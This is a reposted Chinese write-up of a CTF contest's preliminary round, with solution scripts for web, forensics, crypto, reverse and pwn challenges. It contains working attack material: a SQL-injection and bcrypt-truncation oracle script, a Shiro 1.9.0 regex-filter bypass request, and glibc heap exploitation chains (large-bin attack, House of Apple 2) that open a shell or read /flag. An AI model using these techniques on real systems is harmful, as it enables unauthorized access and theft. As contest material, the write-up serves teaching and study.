第九届宁波市网络安全大赛初赛Writeup

admin 2026-08-27 06:48:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档是第九届宁波市网络安全大赛初赛的Writeup,涵盖Web、Misc和DataSecurity赛题。Web1利用bcrypt的72字节限制进行字符推断;Web3通过正则匹配绕过Shiro过滤器。Misc1涉及PNG残留数据和时间戳分析;Misc2通过XBOX手柄按键掩码提取二进制数据。DS部分涉及HTTP分片流量解密。核心结论是CTF解题需关注技术细节和逻辑漏洞。 综合评分: 86 文章分类: CTF,WEB安全,渗透测试,漏洞分析,安全工具


第九届宁波市网络安全大赛初赛 Writeup

原创

N1bbl3 安全团队 N1bbl3 安全团队

N1bbl3

2026年8月17日 21:02 中国香港

在小说阅读器读本章

去阅读

WEB

Web1

登录接口存在用户名参数注入点。通过 UNION SELECT 可以控制查询结果,密码错误页面还会原样回显服务端计算出的 bcrypt 字符串。该回显并不适合用于传统暴力破解,因为 bcrypt 的计算成本较高。

继续看服务端逻辑,实际参与计算的是:

crypt(用户输入的密码 + flag, bcrypt_salt)

PHP 的 bcrypt 实现只取输入的前 72 个字节。于是可以把前面用 a 填满,只让 flag 的一个新字符落在第 72 字节:

已知 flag[:j]
P = b"a" * (71 - j)
服务端收到 P 时,真正 hash 的内容 = P + flag[:j+1]

服务端返回的是带 salt 的完整 bcrypt 字符串。salt 固定以后,本地只需要把候选字符拼到 P + 已知前缀 后面,逐个调用同一份 bcrypt,比较结果是否相同。相同就说明这个字符对上了。

该利用的关键不是破解 bcrypt,而是将回显的 hash 转换为等值判断 oracle。脚本骨架如下,候选集可根据 flag 的字符范围进一步缩小:

import bcrypt
import re
import string
import requests

BASE = "http://45.40.247.139:32712/"
SALT_TEXT = "$2a$10$77b438009c258a4cb0215c98a19cfb61$"
SALT = b"$2a$10$77b438009c258a4cb0215O"
UNION = "' UNION SELECT 'a','b'-- "
CHARSET = string.ascii_letters + string.digits + string.punctuation
session = requests.Session()

def ask(password):
    r = session.post(BASE + "?salt=" + SALT_TEXT,
                     data={"username": UNION, "password": password},
                     timeout=30)
    m = re.search(r"你的登陆密码错误:(\S+)", r.text)
    if not m:
        raise RuntimeError(r.text[:200])
    return m.group(1)

prefix = b""
for j in range(72):
    pad = b"a" * (71 - j)
    reference = ask(pad.decode())
    for ch in CHARSET:
        probe = pad + prefix + ch.encode()
        if bcrypt.hashpw(probe, SALT).decode() == reference:
            prefix += ch.encode()
            print(prefix.decode())
            break
    else:
        # 一个字符都对不上,通常就是 flag 已经结束
        break

Web3

附件为 Java 17 fat JAR。依赖版本如下,可据此确定后续分析方向:

| 组件 | 版本 | | — | — | | Spring Boot | 2.7.0 | | Spring Framework | 5.3.20 | | Tomcat | 9.0.63 | | Apache Shiro | 1.9.0 | | Commons Collections | 3.2.2 | | Commons BeanUtils | 1.9.4 |

DemoController 有 /permit/{value}MyFilter 要求请求头中存在 Token: FAKE_TOKEN。正常路径会被下面这条规则拦住:

/permit/.* -> myFilter

题目没有用 Shiro 默认的 Ant matcher,而是换成了 RegExPatternMatcher。1.9.0 的匹配本质上就是:

Pattern.compile(pattern).matcher(source).matches();

Java 正则的 . 默认不吃换行。Shiro 在做匹配前又会进行 URL decode,于是:

/permit/a%0ab  ->  /permit/a\nb

/permit/.* 不能覆盖中间的 \n,filter chain 没有命中;但 Spring MVC 仍然可以把它当作 {value} 交给控制器。请求不需要 Token:

GET /permit/a%0ab HTTP/1.1
Host: 45.40.247.139:24615

得到:

DASCTF{anEasy_CVE_Test}

普通的 /permit/abc 则会返回 access denied,所以这不是控制器本身的鉴权绕过,而是两套路径匹配规则的语义不一致。Shiro 1.9.1 已经改成带 DOTALL 语义的正则编译,官方说明见:https://shiro.apache.org/blog/2022/06/28/apache-shiro-191-released.html。

此外,rememberMe 反序列化并非本题路径:本地配置没有指定 cipher key,AbstractRememberMeManager 会为进程随机生成 AES key,远程无法稳定复现;分号、双斜杠和 .. 等路径变体又会先被 Tomcat 规范化,均不能形成有效绕过。

MISC

Misc1

附件解出来是:

Happy Adventure.zip
├── Adventure.zip       # 有密码
└── First Challenge.png

完整利用链如下:

裁剪 PNG 的残留数据 -> Adventure.zip 密码
PNG IEND 后的尾随文本 -> Base64 清洗提示
解出的图片 -> Unix 时间
RAR 文件创建时间 -> flag

1)aCropalypse 残留

First Challenge.png 的 IEND 后存在大量数据,符合裁剪工具未截断旧文件的 aCropalypse 特征。CVE-2023-21036、CVE-2023-28303 均属于同类问题:旧图像的 Deflate 流残留在文件末尾。

残留并非从 Deflate 的字节边界开始,因此需要同时枚举字节偏移和 bit 偏移,并为解压器提供 32 KiB 的滑动窗口。恢复结果为:

recovered deflate bytes: 508242
skip=3294 shift=6 -> 14535019 raw bytes

把 raw 扫描线按 PNG filter 逆变换,再尝试常见屏幕宽度。2560 宽的图能正常看出:

密钥即为 CVE 编号

所以第一层密码就是:

CVE-2023-28303

2)IEND 后的字符串

Adventure.zip 解开后包含 Readme.txtSecret time.zipwhatsthis.txtwow.png。使用 OpenCV 读取 wow.png 中的二维码,得到的是干扰项:

Sorry,TimeKey has been hiden by me ,and you never get it!!!  ---Vicious Alpha.ext

真正有用的是 wow.png 的 IEND 尾随数据:

why you find it?
Zss010C3 is the obstacle

whatsthis.txt 看着像 PNG 的 Base64,但字符串 Zss010C3 重复了 8 次,开头还缺 iVBORw0K。删掉污染片段、补回前缀即可:

import base64

s = open("whatsthis.txt", encoding="utf-8").read().strip()
assert s.count("Zss010C3") == 8
png = base64.b64decode("iVBORw0K" + s.replace("Zss010C3", ""))
open("whatsthis_clean.png", "wb").write(png)

图片上写的是:

NOOOOOO!!!!
YOU FIND TimeKey
2144483000

于是第二层压缩包:

7z x 'Secret time.zip' -p2144483000

3)时间差转字符

里面的 日志0.txt 到 日志20.txt 内容都像普通 Apache 日志,异常点是创建时间被统一放在 2037 年附近。2144483000 转成本地时间是 2037-12-15 17:43:20。每个文件的创建时间减去这个基准,得到的秒数正好落在 ASCII 范围,按文件编号排序后是:

{W0w!_Y0u_F1nD_M4!!!}

补上题目约定的前缀:

DASCTF{W0w!_Y0u_F1nD_M4!!!}

Misc2

XBOX.pcapng 一共有 3862 个 USBPcap 包。先按报告长度和固定字段筛选:

len(data) == 45
data[27] == 0x20
data[30] == 0x0e

再看 data[31:33],这是小端按键掩码:A 键为 0x10,B 键为 0x20。长按时同一个报告会重复发送,所以只在掩码从 0 变成 A/B 的瞬间取一次,A 记 0,B 记 1。最后得到 320 bit,也就是 40 个字节:

from scapy.all import PcapNgReader

bits, old = [], 0
for pkt in PcapNgReader("XBOX.pcapng"):
    data = bytes(pkt)
    if len(data) != 45 or data[27] != 0x20 or data[30] != 0x0e:
        continue
    mask = int.from_bytes(data[31:33], "little")
    if old == 0:
        if mask == 0x10:
            bits.append("0")
        elif mask == 0x20:
            bits.append("1")
    old = mask

stream = "".join(bits)
assert len(stream) == 320
print("".join(chr(int(stream[i:i+8], 2))
              for i in range(0, len(stream), 8)))
DASCTF{67f69ab190f061c8b475406e9a9c874e}

DATA SECURITY

DS:HTTP 分片流量中的加密员工数据

如果直接对单个 TCP 数据包进行 Base64 解码,会受到 TCP 分片和重传的影响。题目提供 data.pcapng 与字段规范,目标是按 userid 合并记录,最终仅保留以下六个字段均完整的数据:

userid, username, name, phone, idcard, email

请求里的 pass 固定为 16 字节,例如:

GET /api/profile?pass=BnJVnu.QCHhovMoo HTTP/1.1

样本验证得到的解密顺序为:

Base64 -> AES-128-ECB(key=pass) -> PKCS#7 去填充 -> JSON

重组时按客户端/服务端四元组分开,按 TCP sequence 排序,并丢掉已经覆盖过的字节。核心代码如下:

from collections import defaultdict
import base64, csv, json, re
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
from scapy.all import IP, TCP, Raw, rdpcap

FIELDS = ["userid", "username", "name", "phone", "idcard", "email"]
flows = defaultdict(lambda: {"req": [], "resp": []})

for p in rdpcap("data.pcapng"):
    if IP not in p or TCP not in p or Raw not in p:
        continue
    if p[TCP].dport == 80:
        key = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
        flows[key]["req"].append((p[TCP].seq, bytes(p[Raw].load)))
    elif p[TCP].sport == 80:
        key = (p[IP].dst, p[TCP].dport, p[IP].src, p[TCP].sport)
        flows[key]["resp"].append((p[TCP].seq, bytes(p[Raw].load)))

def join(parts):
    out, end = bytearray(), None
    for seq, chunk in sorted(parts):
        if end is None:
            out.extend(chunk); end = seq + len(chunk); continue
        if seq + len(chunk) > end:
            out.extend(chunk[max(0, end-seq):])
            end = seq + len(chunk)
    return bytes(out)

def decode(passwd, response):
    _, sep, body = response.partition(b"\r\n\r\n")
    if not sep:
        raise ValueError("HTTP body incomplete")
    raw = base64.b64decode(body, validate=True)
    dec = Cipher(algorithms.AES(passwd), modes.ECB()).decryptor()
    padded = dec.update(raw) + dec.finalize()
    unpad = PKCS7(128).unpadder()
    plain = unpad.update(padded) + unpad.finalize()
    return json.loads(plain.decode())

merged = {}
for flow in flows.values():
    req, resp = join(flow["req"]), join(flow["resp"])
    m = re.search(rb"GET /api/[^? ]+\?pass=([^ ]+) HTTP/1\.[01]", req)
    if not m:
        continue
    row = decode(m.group(1), resp)
    merged.setdefault(row["userid"], {}).update(row)

rows = [r for r in merged.values()
        if all(r.get(k) not in (None, "") for k in FIELDS)]
rows.sort(key=lambda r: int(r["userid"]))
with open("result.csv", "w", encoding="utf-8", newline="") as f:
    w = csv.DictWriter(f, fieldnames=FIELDS, lineterminator="\n")
    w.writeheader(); w.writerows(rows)

统计结果是 5332 条响应成功解密,合并出 3000 个唯一 userid,其中 1950 条字段完整,1050 个因为缺字段被丢掉。生成文件的 SHA-256:

0d36313ec2cd51fa82790b98d66b4f774ad8995952d7249b0337f881c4975067

CRYPTO

Crypto1

两个密文共用 n 和 e=17,而且明文满足:

m1 = m
m2 = a*m + b (mod n)

于是 m 同时是下面两个多项式的根:

f1(x) = x^17 - c1
f2(x) = (a*x+b)^17 - c2

正常情况下两式的最大公因式应为一次式 u*x+v,从而可以计算 m = -v/u mod n。该过程不依赖 Sage,使用模 n 的多项式除法即可完成;每次消元时需要对首项系数求逆。

from Crypto.Util.number import inverse, long_to_bytes

def trim(p, n):
    while p and p[-1] % n == 0:
        p.pop()
    return [x % n for x in p]

def pmul(a, b, n):
    r = [0] * (len(a) + len(b) - 1)
    for i, x in enumerate(a):
        for j, y in enumerate(b):
            r[i+j] = (r[i+j] + x*y) % n
    return trim(r, n)

def pdiv(a, b, n):
    a, b = trim(a[:], n), trim(b[:], n)
    inv = inverse(b[-1], n)
    q = [0] * max(1, len(a)-len(b)+1)
    while len(a) >= len(b):
        d = len(a)-len(b)
        k = a[-1] * inv % n
        q[d] = k
        for i, x in enumerate(b):
            a[d+i] = (a[d+i] - k*x) % n
        a = trim(a, n)
    return trim(q, n), a

# f = x^e-c1,g = (a*x+b)^e-c2
f = [(-c1) % n] + [0] * (e-1) + [1]
g = [1]
for _ in range(e):
    g = pmul(g, [b, a], n)
g[0] = (g[0] - c2) % n
while g:
    _, f = pdiv(f, g, n)
    f, g = g, f
assert len(f) == 2
m = (-f[0] * inverse(f[1], n)) % n
print(long_to_bytes(m).decode())
DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}

Crypto2

题面给的函数是:

F(y) = Σ(i*y^i), i=0..63

对于每组 (e,c),构造 Res_y(F(y)-c, y^e-X)。具体实现时,在商环 (Z/nZ)[y]/(F(y)-c) 中将“乘以 y^e”表示为 63 阶矩阵,再计算该矩阵的特征多项式。所得特征多项式即为关于 X 的 resultant 关系式。

两组关系式分别求 monic gcd,最后会退化成一次式,根就是原始明文。用 python-flint 的写法大致如下:

from flint import fmpz_mod_ctx, fmpz_mod_mat, fmpz_mod_poly_ctx
from Crypto.Util.number import long_to_bytes

R = fmpz_mod_poly_ctx(n)
y = R.gen()
F = sum(i * y**i for i in range(64))

def relation(e, c):
    mod = (F-c) * pow(63, -1, n)
    power = pow(y, e, mod)
    cols = []
    for j in range(63):
        q = (power * y**j) % mod
        cols.append([int(q[i]) for i in range(63)])
    mat = fmpz_mod_mat([[cols[j][i] for j in range(63)]
                        for i in range(63)], fmpz_mod_ctx(n))
    return mat.charpoly()

def mgcd(a, b):
    while b:
        a, b = b, a % b
    return a * pow(int(a[a.degree()]), -1, n)

g = mgcd(relation(e1, c1), relation(e2, c2))
m = (-int(g[0]) * pow(int(g[1]), -1, n)) % n
print(long_to_bytes(m).decode())
DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}

REVERSE

Reverse1

附件为 Unity Windows 游戏。GameAssembly.dllglobal-metadata.datil2cpp_data 的组合表明程序使用 IL2CPP。C# 逻辑虽然被 AOT 编译为 native 代码,但类名、字段和默认值仍保留在 metadata 中。

先检查头:

import struct
data = open("global-metadata.dat", "rb").read()
print(struct.unpack_from("<iI", data,&nbsp;0))
# (-89056337, 29) -> 0xFAB11BAF / v29

需要注意的是,v29 的 Il2CppMethodDefinition 为 32 字节,而不是旧版本中常见的 36 字节;Il2CppTypeDefinition 按 88 字节解析。结合字符串表和 image 的 type 范围校验后,Assembly-CSharp.dll 对应的 type index 为 3729..3802

在 QRCodeGenerator 里能看到 qrCodeDataGenerateQRCodeCreateCubeCalculateStartPosition,说明二维码点阵就在附近。<PrivateImplementationDetails> 下有三个静态数组候选:3364、2637、1513 字节。只有 3364 字节的那块只包含 0/1:

3364 / 4 = 841 = 29 * 29

由此确定为 Version 3 二维码。根据默认值表的 dataIndex=76272 取出 841 个 int32,按行主序绘制为 29×29 矩阵并添加四格 quiet zone,OpenCV 和 pyzbar 均可读取出相同 flag。再使用 qrcode 按 Version 3、纠错 L、mask 2 重新编码并逐格比较,diff 为 0,排除了误读的可能。

DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}

Reverse2

核心逻辑可以压缩成三行:

key = input.Substring(7, 4)
index[i] = Random(2024).Next(256) % 4
cipher[i] = input[i] ^ key[index[i]]

目标密文在程序里,flag 前缀 DASCTF{ 已知。先用前 7 个明文字节反推出对应 key 槽位,剩下的槽位枚举可打印 ASCII,再检查:

明文以 DASCTF{ 开头、以 } 结尾
明文第 7..10 字节等于 key
全部字节可打印

该题必须实现旧版 .NET 的 subtractive System.Random,Python 的 Mersenne Twister 生成序列与其不同。附件 SHA-256 为:

7e6ad67f77edc0be18910ed102b607db0bd5060ef2265587ea7676e41526611d

枚举完成后得到:

DASCTF{QDxz77WHtRIZxVbVPIriyvoT4xWCs1esZaEddSGldPjn5b4Wt6LMpt2t}

PWN

Pwn1

程序开启 PIE、Full RELRO、Canary、NX、SHSTK、IBT,运行环境为 glibc 2.35。菜单包含 Add/Delete/Edit/Show,但 Delete 后未清空指针,因此存在 UAF。

泄漏

申请四个 0x500 chunk,释放 0 和 2,使其进入 unsorted bin。show(0) 可读取 main_arena+0x60,由此计算 libc;show(2) 的 fd 指向 chunk0,可反推出 heap。需要保留一个 guard chunk,避免 chunk 与 top 合并影响泄漏。

Large Bin

先准备一个实际 chunk size 为 0x520 的大块 p1,让它落进 large bin;再把同尺寸附近的 p2 留在 unsorted。UAF 改写:

p1->bk_nextsize = _IO_list_all - 0x20

下一次申请触发 unsorted 到 large 的插入时,glibc 会沿 nextsize 链写指针,最终把 _IO_list_all 改成 p2

本题环境偏移:

main_arena &nbsp;= 0x21ac80
_IO_list_all = 0x21b680
_IO_wfile_jumps = 0x2170c0
setcontext+61 = 0x53a1d

House of Apple 2

在 p2 中伪造 _IO_FILE_IO_wide_data 和宽字符 vtable,把 __doallocate 指向 setcontext+61。满足 flush 条件后,_IO_wfile_overflow -> _IO_wdoallocbuf 会切换到 heap 上的 ROP 栈,执行:

open("/flag", 0)
read(fd, buf, 0x100)
write(1, buf, 0x100)

触发方式为提交越界索引 99。程序报错后调用 exit(0),进入 _IO_cleanup,从而触发伪造的 FILE。

远程回显:

libc = 0x7f9b50c28000 &nbsp;heap = 0x5584b307c290
DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}

该题 EXP 的关键布局如下,完整脚本中将各地址替换为 libc_base + offset 即可:

fake_file[0x90:0x98] = p64(fake_wide_data)
fake_file[0xc8:0xd0] = p64(libc +&nbsp;0x2170c0)
fake_wide_data[0x90:0x98] = p64(heap_rop)
fake_wide_data[0xd0:0xd8] = p64(fake_vtable)
fake_vtable[0x58:0x60] = p64(libc +&nbsp;0x53a1d)

Pwn2

vvmm 是自定义字节码解释器,宿主栈并没有需要利用的溢出。真正危险的是 VM 自带的 syscall:

| 指令 | 能力 | | — | — | | 0x33 | read/write/exit/malloc/free ,缓冲区是 R1 绝对地址 | | 0x35 | 同样的 syscall,但缓冲区为 mem + R1 | | R6 | VM 栈指针,本质上是一个 heap 地址 | | malloc | 返回的 chunk 指针写入 SP+0x1010 数组 |

先用 mov_sp_reg 把 R6 拆成两个 32 位数写出,得到 SP。然后 malloc 两个 0x500,从 SP+0x1010 取第一块地址,free 掉它,再读取块头的 unsorted fd,算出 libc:

SP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = 0x5585613fa2a0
chunk &nbsp; &nbsp; &nbsp; &nbsp;= 0x5585613fdf80
unsorted fd &nbsp;= 0x7fbc6392bce0
libc_base &nbsp; &nbsp;= 0x7fbc63711000

后续仍然使用 House of Apple,但不需要 large bin。直接在 fp = SP+0x100 伪造 FILE:

fp+0x00 &nbsp;= " sh\0"
fp+0x28 &nbsp;= 1
fp+0xa0 &nbsp;= fp+0xe0
fp+0xd8 &nbsp;= libc + _IO_wfile_jumps
fp+0x1c0 = fp+0x200
fp+0x268 = libc + system
_IO_list_all = fp

VM 的 exit(0) 会进入 _IO_flush_all_lockp,随后通过宽字符 vtable 调用 system(" sh")。获得 shell 后发送 cat /flag 即可。

自动化脚本不应直接调用 io.interactive()。在非终端环境中会立即向 shell 提供 EOF,导致 shell 在后续命令发送前退出。应等待几十到几百毫秒后调用 sendline(),再循环接收输出:

time.sleep(0.3)
io.sendline(b"echo PWNED; cat /flag; cat flag; ls -la")
io.settimeout(3)
out =&nbsp;b""
while&nbsp;True:
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; part = io.recv(4096)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;part:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; out += part
&nbsp; &nbsp;&nbsp;except&nbsp;EOFError:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
print(out.decode("latin-1", errors="replace"))

输出:

PWNED
DASCTF{71303455166142814175252139880040}

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:N1bbl3 N1bbl3 安全团队 N1bbl3 安全团队《第九届宁波市网络安全大赛初赛 Writeup》

评论:0   参与:  0